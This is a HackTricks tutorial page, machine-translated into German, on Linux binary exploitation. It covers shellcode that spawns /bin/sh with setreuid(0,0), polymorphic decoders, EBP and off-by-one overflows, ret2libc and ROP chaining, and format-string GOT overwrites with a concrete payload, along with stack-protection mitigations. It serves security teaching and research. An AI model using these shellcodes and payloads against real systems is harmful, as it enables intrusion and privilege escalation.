68 KiB
Linux Exploiting (Grundlagen) (SPA)
Linux Exploiting (Grundlagen) (SPA)
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
ASLR
Address Space Layout Randomization
Globale Deaktivierung der Zufälligkeit (ASLR) (Root):
echo 0 > /proc/sys/kernel/randomize_va_space
Globale Reaktivierung der Zufälligkeit: echo 2 > /proc/sys/kernel/randomize_va_space
Deaktivierung für eine Ausführung (kein Root erforderlich):
setarch `arch` -R ./beispiel argumente
setarch `uname -m` -R ./beispiel argumente
Deaktivierung des Stack-Schutzes
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack beispiel.c -o beispiel
Core-Datei
ulimit -c unlimited
gdb /exec core_datei
/etc/security/limits.conf -> * soft core unlimited
Text
Daten
BSS
Heap
Stack
BSS-Abschnitt: Nicht initialisierte globale oder statische Variablen
static int i;
DATENABSCHNITT: Initialisierte globale oder statische Variablen
In diesem Abschnitt werden initialisierte globale oder statische Variablen behandelt.
int i = 5;
Abschnitt TEXT: Anweisungen des Codes (Opcodes)
Abschnitt HEAP: Dynamisch reservierte Puffer (malloc(), calloc(), realloc())
Abschnitt STACK: Der Stapel (übergebene Argumente, Umgebungszeichenketten (env), lokale Variablen...)
1. STACK OVERFLOWS
Pufferüberlauf, Pufferüberschreitung, Stapelüberschreitung, Stapelzerstörung
Segmentierungsfehler oder Segmentierungsverletzung: Wenn versucht wird, auf eine Speicheradresse zuzugreifen, die dem Prozess nicht zugewiesen wurde.
Um die Adresse einer Funktion in einem Programm zu erhalten, kann Folgendes verwendet werden:
objdump -d ./PROGRAMA | grep FUNCION
ROP
Aufruf von sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
Kernel-Unterbrechungen anzeigen: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax löschen
xor ebx, ebx ; ebx = 0, da kein Argument übergeben wird
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall ausführen
nasm -f elf assembly.asm —> Gibt eine .o-Datei zurück
ld assembly.o -o shellcodeout —> Erzeugt eine ausführbare Datei aus dem Assemblercode und wir können die Opcodes mit objdump extrahieren
objdump -d -Mintel ./shellcodeout —> Zeigt, dass es sich tatsächlich um unseren Shellcode handelt und gibt die Opcodes aus
Überprüfen, ob der Shellcode funktioniert
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Um sicherzustellen, dass die Systemaufrufe ordnungsgemäß ausgeführt werden, sollte das vorherige Programm kompiliert werden und die Systemaufrufe sollten in strace ./KOMPILIERTES_PROGRAMM angezeigt werden.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt auch den EIP im Stack ab. Nach der Aufrufanweisung haben wir den benötigten String eingefügt, sodass wir mit diesem EIP auf den String verweisen und den Code weiter ausführen können.
BEISPIEL TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Verwendung des Stack (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
Die FNSTENV
-Instruktion speichert den aktuellen Zustand des FPU-Registers in einem Speicherbereich. Dieser Befehl wird häufig verwendet, um den FPU-Zustand zu speichern, bevor ein Exploit ausgeführt wird, um den ursprünglichen Zustand wiederherzustellen und die Ausführung des Programms fortzusetzen, ohne Verdacht zu erregen.
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
Es handelt sich um einen kleinen Code, der die Speicherseiten eines Prozesses nach der darin gespeicherten Shellcode durchsucht (er sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Injizieren von Code zur Verfügung steht.
Polymorphe Shellcodes
Es handelt sich um verschlüsselte Shells, die einen kleinen Code enthalten, der sie entschlüsselt und zu ihm springt, unter Verwendung des Call-Pop-Tricks. Hier ist ein Beispiel für eine Caesar-Verschlüsselung:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- Angriff auf den Frame Pointer (EBP)
Nützlich in einer Situation, in der wir den EBP, aber nicht den EIP, ändern können.
Es ist bekannt, dass beim Verlassen einer Funktion der folgende Assemblercode ausgeführt wird:
movl %ebp, %esp
popl %ebp
ret
Auf diese Weise kann das EBP geändert werden, wenn eine Funktion (fvuln), die von einer anderen Funktion aufgerufen wurde, verlassen wird. Wenn die Funktion, die fvuln aufgerufen hat, beendet wird, kann ihr EIP geändert werden.
In fvuln kann ein falsches EBP eingeführt werden, das auf einen Speicherort zeigt, an dem sich die Adresse des Shellcodes + 4 befindet (4 muss für das Pop hinzugefügt werden). Auf diese Weise wird beim Verlassen der Funktion der Wert von &(&Shellcode)+4 in ESP eingefügt, mit dem Pop wird 4 von ESP abgezogen und er zeigt auf die Adresse des Shellcodes, wenn das Ret ausgeführt wird.
Exploit:
&Shellcode + "AAAA" + SHELLCODE + Füllung + &(&Shellcode)+4
Off-by-One Exploit
Es ist nur möglich, das am wenigsten signifikante Byte des EBP zu ändern. Ein Angriff wie oben beschrieben kann durchgeführt werden, aber der Speicher, der die Adresse des Shellcodes enthält, muss die ersten 3 Bytes mit dem EBP teilen.
4. Return-to-Libc-Methoden
Nützliche Methode, wenn der Stack nicht ausführbar ist oder ein sehr kleiner Puffer zum Ändern vorhanden ist.
ASLR bewirkt, dass Funktionen bei jeder Ausführung an unterschiedlichen Speicherpositionen geladen werden. Daher kann diese Methode in diesem Fall möglicherweise nicht wirksam sein. Für Remote-Server, da das Programm ständig an derselben Adresse ausgeführt wird, kann es jedoch nützlich sein.
- cdecl (C-Deklaration) legt die Argumente auf den Stack und bereinigt den Stack nach Verlassen der Funktion
- stdcall (Standardaufruf) legt die Argumente auf den Stack und die aufrufende Funktion bereinigt den Stack
- fastcall legt die ersten beiden Argumente in Register und den Rest auf den Stack
Die Adresse der Systemanweisung in libc wird angegeben und der String "/bin/sh" wird als Argument übergeben, normalerweise aus einer Umgebungsvariable. Darüber hinaus wird die Adresse der Exit-Funktion verwendet, damit das Programm nach dem Verlassen der Shell ohne Probleme beendet wird (und Logs geschrieben werden).
export SHELL=/bin/sh
Um die benötigten Adressen zu finden, können Sie in GDB nachschauen:
p system
p exit
rabin2 -i ausführbar —> Gibt die Adresse aller Funktionen an, die das Programm beim Laden verwendet
(In einem Start oder einem Breakpoint): x/500s $esp —> Hier suchen wir nach dem String /bin/sh
Sobald wir diese Adressen haben, sieht der Exploit wie folgt aus:
"A" * EBP-Abstand + 4 (EBP: können 4 "A"s sein, aber es ist besser, wenn es das echte EBP ist, um Segmentierungsfehler zu vermeiden) + Adresse von system (überschreibt EIP) + Adresse von exit (beim Verlassen von system("/bin/sh") wird diese Funktion aufgerufen, da die ersten 4 Bytes des Stacks als die nächste auszuführende EIP-Adresse behandelt werden) + Adresse von "/bin/sh" (wird als Parameter an system übergeben)
Auf diese Weise wird der EIP mit der Adresse von system überschrieben, die den String "/bin/sh" als Parameter erhält, und beim Verlassen wird die Funktion exit() ausgeführt.
Es kann vorkommen, dass ein Byte einer Adresse einer Funktion null oder Leerzeichen (\x20) ist. In diesem Fall können die vorherigen Adressen disassembliert werden, da wahrscheinlich mehrere NOPs vorhanden sind, die es uns ermöglichen, anstelle der Funktion direkt einen von ihnen aufzurufen (z. B. mit > x/8i system-4).
Diese Methode funktioniert, weil beim Aufruf einer Funktion wie system mit dem Opcode ret anstelle von call die Funktion davon ausgeht, dass die ersten 4 Bytes die EIP-Adresse sind, zu der zurückgekehrt werden soll.
Eine interessante Technik bei dieser Methode besteht darin, strncpy() aufzurufen, um eine Nutzlast vom Stack zum Heap zu verschieben, und dann gets() zu verwenden, um diese Nutzlast auszuführen.
Eine weitere interessante Technik ist die Verwendung von mprotect(), mit der die gewünschten Berechtigungen für jeden Teil des Speichers festgelegt werden können. Es funktioniert oder funktionierte in BDS, MacOS und OpenBSD, aber nicht in Linux (es wird verhindert, dass Schreib- und Ausführungsberechtigungen gleichzeitig vergeben werden können). Mit diesem Angriff könnte der Stack wieder als ausführbar konfiguriert werden.
Verkettung von Funktionen
Basierend auf der vorherigen Technik besteht dieser Exploit darin:
Füllung + &Funktion1 + &pop;ret; + &arg_fun1 + &Funktion2 + &pop;ret; + &arg_fun2 + ...
Auf diese Weise können Funktionen verkettet werden, die aufgerufen werden sollen. Wenn Funktionen mit mehreren Argumenten verwendet werden sollen, können die erforderlichen Argumente (z. B. 4) platziert und die 4 Argumente eingegeben werden, und es kann nach einer Adresse mit Opcodes wie pop, pop, pop, pop, ret gesucht werden —> objdump -d ausführbar
Verkettung durch Fälschen von Frames (Verkettung von EBPs)
Hierbei wird die Möglichkeit genutzt, das EBP zu manipulieren, um die Ausführung mehrerer Funktionen über das EBP und "leave;ret" zu verkettet.
FÜLLUNG
- Wir setzen ein falsches EBP, das aufzeigt: 2. falsches EBP + die auszuführende Funktion: (&system() + &leave;ret + &"/bin/sh")
- Im EIP setzen wir die Adresse einer Funktion &(leave;ret)
Wir starten den Shellcode mit der Adresse des nächsten Teils des Shellcodes, z. B.: 2. falsches EBP + &system() + &(leave;ret;) + &"/bin/sh"
Das 2. EBP wäre: 3. falsches EBP + &system() + &(leave;ret;) + &"/bin/ls"
Dieser Shellcode kann beliebig oft in den zugänglichen Speicherbereichen wiederholt werden, sodass ein Shellcode entsteht, der leicht in kleine Speicherstücke aufgeteilt werden kann.
(Die Ausführung von Funktionen wird durch die vorherigen Schwachstellen von EBP und ret2lib verkettet)
5. Ergänzende Methoden
Ret2Ret
Nützlich, wenn eine Adresse des Stacks nicht in den EIP eingefügt werden kann (es wird überprüft, ob der EIP nicht 0xbf enthält) oder wenn der Speicherort des Shellcodes nicht berechnet werden kann. Die anfällige Funktion akzeptiert jedoch einen Parameter (der Shellcode wird hier platziert).
Auf diese Weise wird durch Ändern des EIP in eine Adresse eines ret die nächste Adresse geladen (die die Adresse des ersten Arguments der Funktion ist). Mit anderen Worten, der Shellcode wird geladen.
Der Exploit sieht wie folgt aus: SHELLCODE + Füllung (bis EIP) + &ret (die nächsten Bytes des Stacks zeigen auf den Anfang des Shellcodes, da die Adresse des übergebenen Parameters in den Stack eingegeben wird)
Es scheint, dass Funktionen wie strncpy, sobald sie abgeschlossen sind, die Adresse, an der der Shellcode gespeichert war, aus dem Stack entfernen und diese Technik daher unmöglich machen. Mit anderen Worten, die Adresse, die der Funktion als Argument übergeben wird (die den Shellcode speichert), wird durch ein 0x00 geändert, sodass beim Aufruf des zweiten ret ein 0x00 gefunden wird und das Programm abstürzt.
**Ret2PopRet**
Wenn wir keine Kontrolle über das erste Argument haben, aber über das zweite oder dritte, können wir EIP mit einer Adresse zu pop-ret oder pop-pop-ret überschreiben, je nachdem, welche wir benötigen.
Murat-Technik
In Linux werden alle Programme ab 0xbfffffff gemappt.
Indem wir uns ansehen, wie der Stack eines neuen Prozesses in Linux aufgebaut wird, können wir einen Exploit entwickeln, bei dem das Programm in einer Umgebung gestartet wird, die nur eine Variable, die Shellcode, enthält. Die Adresse dafür kann wie folgt berechnet werden: addr = 0xbfffffff - 4 - strlen(VOLLSTÄNDIGER_PROGRAMMNAME) - strlen(shellcode)
Auf diese Weise erhalten wir einfach die Adresse, an der sich die Umgebungsvariable mit dem Shellcode befindet.
Dies ist möglich, da die Funktion execle eine Umgebung erstellt, die nur die gewünschten Umgebungsvariablen enthält.
Jump to ESP: Windows-Stil
Da ESP immer auf den Anfang des Stacks zeigt, besteht diese Technik darin, EIP durch die Adresse eines jmp esp oder call esp Befehls zu ersetzen. Dadurch wird der Shellcode nach der Überschreibung von EIP gespeichert, da ESP nach dem Ausführen von ret auf die nächste Adresse zeigt, genau dort, wo der Shellcode gespeichert wurde.
Wenn ASLR in Windows oder Linux nicht aktiviert ist, können jmp esp oder call esp aus einem gemeinsam genutzten Objekt aufgerufen werden. Wenn ASLR aktiviert ist, kann es im verwundbaren Programm selbst gesucht werden.
Darüber hinaus ermöglicht die Tatsache, dass der Shellcode nach der Korruption von EIP platziert wird, anstatt in der Mitte des Stacks, dass die push- oder pop-Anweisungen, die während der Funktion ausgeführt werden, den Shellcode nicht berühren (was passieren könnte, wenn er in der Mitte des Stacks der Funktion platziert würde).
Ähnlich dazu kann, wenn wir wissen, dass eine Funktion die Adresse speichert, an der der Shellcode gespeichert ist, call eax oder jmp eax (ret2eax) aufgerufen werden.
ROP (Return Oriented Programming) oder borrowed code chunks
Die aufgerufenen Codefragmente werden als Gadgets bezeichnet.
Diese Technik besteht darin, verschiedene Funktionsaufrufe mit der Technik ret2libc und der Verwendung von pop,ret zu verketten.
In einigen Prozessorarchitekturen besteht jede Anweisung aus 32 Bits (z. B. MIPS). Bei Intel hingegen haben die Anweisungen eine variable Größe und mehrere Anweisungen können einen Satz von Bits teilen, zum Beispiel:
movl $0xe4ff, -0x(%ebp) —> Enthält die Bytes 0xffe4, die auch als jmp *%esp übersetzt werden können.
Auf diese Weise können einige Anweisungen ausgeführt werden, die im ursprünglichen Programm nicht einmal vorhanden sind.
ROPgadget.py hilft uns dabei, Werte in Binärdateien zu finden.
Dieses Programm dient auch zum Erstellen von Payloads. Sie können ihm die Bibliothek geben, aus der Sie die ROPs extrahieren möchten, und es generiert ein Python-Payload, dem Sie die Adresse der Bibliothek geben, und der Payload ist bereit, als Shellcode verwendet zu werden. Da es Systemaufrufe verwendet, führt es nichts wirklich im Stack aus, sondern speichert nur Adressen von ROPs, die durch ret ausgeführt werden. Um diesen Payload zu verwenden, muss der Payload mit einer ret-Anweisung aufgerufen werden.
Integer-Überläufe
Diese Art von Überläufen tritt auf, wenn eine Variable nicht darauf vorbereitet ist, eine so große Zahl wie die übergebene zu verarbeiten, möglicherweise aufgrund einer Verwechslung zwischen vorzeichenbehafteten und vorzeichenlosen Variablen, zum Beispiel:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
Im obigen Beispiel sehen wir, dass das Programm 2 Parameter erwartet. Der erste ist die Länge des folgenden Strings und der zweite ist der String selbst.
Wenn wir als ersten Parameter eine negative Zahl übergeben, wird festgestellt, dass len < 256 und dieser Filter umgangen wird. Außerdem wird strlen(buffer) kleiner als l sein, da l ein unsigned int ist und sehr groß sein wird.
Diese Art von Überläufen zielt nicht darauf ab, etwas im Prozess des Programms zu schreiben, sondern darauf, schlecht konzipierte Filter zu umgehen, um andere Schwachstellen auszunutzen.
Nicht initialisierte Variablen
Es ist nicht bekannt, welchen Wert eine nicht initialisierte Variable annehmen kann, und es könnte interessant sein, dies zu beobachten. Es kann sein, dass sie den Wert annimmt, den eine Variable aus der vorherigen Funktion hatte und die vom Angreifer kontrolliert wird.
Format Strings
In C ist printf
eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden Parameter sind die Werte, die die Formatierer im rohen Text ersetzen sollen.
Die Schwachstelle tritt auf, wenn ein Angreifertext als erster Argument an diese Funktion übergeben wird. Der Angreifer kann eine spezielle Eingabe erstellen, indem er die Fähigkeiten der printf-Formatzeichenfolge missbraucht, um beliebige Daten an beliebige Adressen zu schreiben. Dadurch ist es möglich, beliebigen Code auszuführen.
Formatierer:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
schreibt die Anzahl der geschriebenen Bytes in die angegebene Adresse. Indem wir so viele Bytes schreiben, wie die hexadezimale Zahl, die wir schreiben müssen, können wir beliebige Daten schreiben.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
Dies ist die Tabelle, die die Adresse der externen Funktionen enthält, die vom Programm verwendet werden.
Erhalten Sie die Adresse dieser Tabelle mit: objdump -s -j .got ./exec
Beachten Sie, wie Sie nach dem Laden der ausführbaren Datei in GEF die Funktionen sehen können, die sich in der GOT befinden: gef➤ x/20x 0xDIR_GOT
Mit GEF können Sie eine Debugging-Sitzung starten und got
ausführen, um die GOT-Tabelle anzuzeigen:
In einer Binärdatei enthält die GOT die Adressen der Funktionen oder des PLT-Abschnitts, der die Funktionsadresse lädt. Das Ziel dieses Exploits ist es, den GOT-Eintrag einer Funktion zu überschreiben, die später mit der Adresse des PLT der system
-Funktion ausgeführt wird. Idealerweise überschreiben Sie die GOT einer Funktion, die mit von Ihnen kontrollierten Parametern aufgerufen wird (damit Sie die an die Systemfunktion gesendeten Parameter kontrollieren können).
Wenn das Skript system
nicht verwendet, hat die Systemfunktion keinen Eintrag in der GOT. In diesem Szenario müssen Sie zuerst die Adresse der system
-Funktion leaken.
Die Procedure Linkage Table ist eine schreibgeschützte Tabelle in der ELF-Datei, die alle erforderlichen Symbole speichert, die aufgelöst werden müssen. Wenn eine dieser Funktionen aufgerufen wird, leitet die GOT den Fluss zum PLT weiter, damit es die Adresse der Funktion auflösen und in die GOT schreiben kann.
Dann wird beim nächsten Aufruf an diese Adresse die Funktion direkt aufgerufen, ohne sie auflösen zu müssen.
Sie können die PLT-Adressen mit objdump -j .plt -d ./vuln_binary
sehen.
Exploit-Ablauf
Wie bereits erklärt, besteht das Ziel darin, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Idealerweise könnten wir die Adresse auf einen Shellcode in einem ausführbaren Abschnitt setzen, aber höchstwahrscheinlich können Sie keinen Shellcode in einem ausführbaren Abschnitt schreiben.
Eine andere Option besteht darin, eine Funktion zu überschreiben, die ihre Argumente vom Benutzer erhält, und sie auf die system
-Funktion zu zeigen.
Um die Adresse zu schreiben, werden normalerweise 2 Schritte durchgeführt: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn
verwendet.
HOB bezieht sich auf die 2 höheren Bytes der Adresse
LOB bezieht sich auf die 2 niedrigeren Bytes der Adresse
Aufgrund der Funktionsweise von Format-Strings müssen Sie zuerst das kleinere der beiden [HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Wenn HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Format String Exploit Template
Sie finden hier eine Vorlage, um die GOT mit Format-Strings auszunutzen:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
Dies ist im Wesentlichen eine Struktur mit Funktionen, die vor dem Beenden des Programms aufgerufen werden. Dies ist interessant, wenn Sie Ihren Shellcode einfach durch Springen zu einer Adresse aufrufen können oder in Fällen, in denen Sie erneut zu main zurückkehren müssen, um den Format-String ein zweites Mal auszunutzen.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Beachten Sie, dass dies keine endlose Schleife erzeugt, da der Canary bemerken wird, dass das Ende des Stacks möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Mit diesem Trick können Sie also eine weitere Ausführung der Schwachstelle haben.
Format Strings zum Auslesen von Inhalten
Eine Format-String-Schwachstelle kann auch dazu missbraucht werden, Inhalte aus dem Speicher des Programms auszulesen.
In der folgenden Situation gibt es zum Beispiel eine lokale Variable im Stack, die auf eine Flagge zeigt. Wenn Sie herausfinden, an welcher Stelle im Speicher der Zeiger auf die Flagge steht, können Sie printf
dazu bringen, auf diese Adresse zuzugreifen und die Flagge auszugeben:
Die Flagge befindet sich also an der Adresse 0xffffcf4c
Und aus dem Leak können Sie sehen, dass der Zeiger auf die Flagge im 8. Parameter steht:
Daher können Sie durch den Zugriff auf den 8. Parameter die Flagge erhalten:
Beachten Sie, dass Sie nach dem vorherigen Angriff und der Erkenntnis, dass Sie Inhalte auslesen können, Zeiger auf printf
auf den Abschnitt setzen können, in dem das ausführbare Programm geladen ist, und diesen vollständig auslesen!
DTOR
{% hint style="danger" %} Heutzutage ist es sehr ungewöhnlich, eine Binärdatei mit einem DTOR-Abschnitt zu finden. {% endhint %}
Die Destruktoren sind Funktionen, die vor dem Beenden des Programms ausgeführt werden.
Wenn es Ihnen gelingt, eine Adresse zu einem Shellcode in __DTOR_END__
zu schreiben, wird dieser vor dem Beenden des Programms ausgeführt.
Erhalten Sie die Adresse dieses Abschnitts mit:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Normalerweise finden Sie den DTOR-Abschnitt zwischen den Werten ffffffff
und 00000000
. Wenn Sie also nur diese Werte sehen, bedeutet dies, dass keine Funktion registriert ist. Überschreiben Sie also die 00000000
mit der Adresse des Shellcodes, um ihn auszuführen.
Format Strings für Pufferüberläufe
Die Funktion sprintf kopiert einen formatierten String in eine Variable. Daher können Sie das Format eines Strings missbrauchen, um einen Pufferüberlauf in der Variable zu verursachen, in die der Inhalt kopiert wird.
Beispielsweise schreibt das Payload %.44xAAAA
44B+"AAAA" in die Variable, was einen Pufferüberlauf verursachen kann.
__atexit-Strukturen
{% hint style="danger" %} Heutzutage ist es sehr ungewöhnlich, dies auszunutzen. {% endhint %}
atexit()
ist eine Funktion, der andere Funktionen als Parameter übergeben werden. Diese Funktionen werden ausgeführt, wenn ein exit()
oder die Rückkehr von main
ausgeführt wird.
Wenn Sie die Adresse einer dieser Funktionen so ändern können, dass sie auf einen Shellcode zeigt, können Sie die Kontrolle über den Prozess übernehmen, aber dies ist derzeit komplizierter.
Die Adressen der auszuführenden Funktionen sind derzeit hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sie sind mit XOR verschlüsselt und mit einem zufälligen Schlüssel verschoben. Daher ist dieser Angriffsvektor derzeit zumindest auf x86 und x64_86 nicht sehr nützlich.
Die Verschlüsselungsfunktion ist PTR_MANGLE
. Andere Architekturen wie m68k, mips32, mips64, aarch64, arm, hppa... implementieren die Verschlüsselungsfunktion nicht, da sie das Gleiche zurückgibt wie sie als Eingabe erhalten hat. Daher wären diese Architekturen durch diesen Vektor angreifbar.
setjmp() & longjmp()
{% hint style="danger" %} Heutzutage ist es sehr ungewöhnlich, dies auszunutzen. {% endhint %}
Setjmp()
ermöglicht das Speichern des Kontextes (der Register).
Longjmp()
ermöglicht das Wiederherstellen des Kontextes.
Die gespeicherten Register sind: EBX, ESI, EDI, ESP, EIP, EBP
.
Das Problem ist, dass EIP und ESP durch die Funktion PTR_MANGLE
übergeben werden, sodass die anfällige Architektur dieselbe ist wie oben beschrieben.
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.
Aus dem, was ich gelesen habe, sind die anderen Register nicht geschützt, sodass bei einem call ebx
, call esi
oder call edi
innerhalb der aufgerufenen Funktion die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
VTable und VPTR in C++
Jede Klasse hat eine VTable, die ein Array von Zeigern auf Methoden ist.
Jedes Objekt einer Klasse hat einen VPtr, der ein Zeiger auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass bei einer Überschreibung des VPtr dieser auf eine Dummy-Methode zeigen könnte, sodass bei der Ausführung einer Funktion der Shellcode aufgerufen wird.
Präventive Maßnahmen und Umgehungen
ASLR nicht so zufällig
PaX teilt den Adressraum des Prozesses in 3 Gruppen auf:
Code und initialisierte und nicht initialisierte Daten: .text, .data und .bss -> 16 Bits Entropie in der Variablen delta_exec, diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert.
Speicher, der von mmap() und gemeinsam genutzten Bibliotheken zugewiesen wird -> 16 Bits, delta_mmap
Der Stack -> 24 Bits, delta_stack -> Tatsächlich 11 (vom 10. bis zum 20. Byte einschließlich) -> auf 16 Byte ausgerichtet -> 524.288 mögliche reale Stackadressen
Umgebungsvariablen und Argumente verschieben sich weniger als ein Puffer im Stack.
Return-into-printf
Es handelt sich um eine Technik, bei der ein Pufferüberlauf in einen Formatierungsfehler umgewandelt wird. Dabei wird der EIP so ersetzt, dass er auf ein printf der Funktion zeigt, und als Argument wird eine manipulierte Formatierungszeichenkette übergeben, um Informationen über den Zustand des Prozesses zu erhalten.
Angriff auf Bibliotheken
Bibliotheken befinden sich an einer Position mit 16 Bits Zufälligkeit = 65636 mögliche Adressen. Wenn ein anfälliger Server fork() aufruft, wird der Speicheradressraum im Kindprozess geklont und bleibt intakt. Daher kann versucht werden, die usleep() Funktion der libc mit dem Argument "16" brute force anzugreifen, sodass, wenn sie länger als normal zum Antworten braucht, diese Funktion gefunden wurde. Wenn Sie wissen, wo sich diese Funktion befindet, können Sie delta_mmap erhalten und die anderen berechnen.
Die einzige Möglichkeit, sicherzustellen, dass ASLR funktioniert, besteht darin, eine 64-Bit-Architektur zu verwenden. Dort gibt es keine Brute-Force-Angriffe.
StackGuard und StackShield
StackGuard fügt vor dem EIP -> 0x000aff0d(null, \n, EndOfFile(EOF), \r) ein -> recv(), memcpy(), read(), bcoy() sind immer noch anfällig und schützt nicht das EBP.
StackShield ist aufwändiger als StackGuard.
Es speichert alle Rückgabeadressen in einer Tabelle (Global Return Stack), sodass der Überlauf keinen Schaden anrichtet. Außerdem können beide Adressen verglichen werden, um festzustellen, ob ein Überlauf stattgefunden hat.
Die Rückgabeadresse kann auch mit einem Grenzwert verglichen werden, sodass bekannt ist, wenn der EIP an einen anderen Ort als den üblichen wie den Datenbereich geht. Dies kann jedoch mit Ret-to-lib, ROPs oder ret2ret umgangen werden.
Wie Sie sehen können, schützt StackShield auch keine lokalen Variablen.
Stack Smash Protector (ProPolice) -fstack-protector
Der Canary wird vor dem EBP platziert. Die lokalen Variablen werden neu angeordnet, sodass die Puffer an den höchsten Positionen liegen und andere Variablen nicht überschrieben werden können.
Darüber hinaus wird eine sichere Kopie der übergebenen Argumente über dem Stapel (über den lokalen Variablen) erstellt und diese Kopien als Argumente verwendet.
Es kann keine Arrays mit weniger als 8 Elementen oder Puffer, die Teil einer Benutzerstruktur sind, schützen.
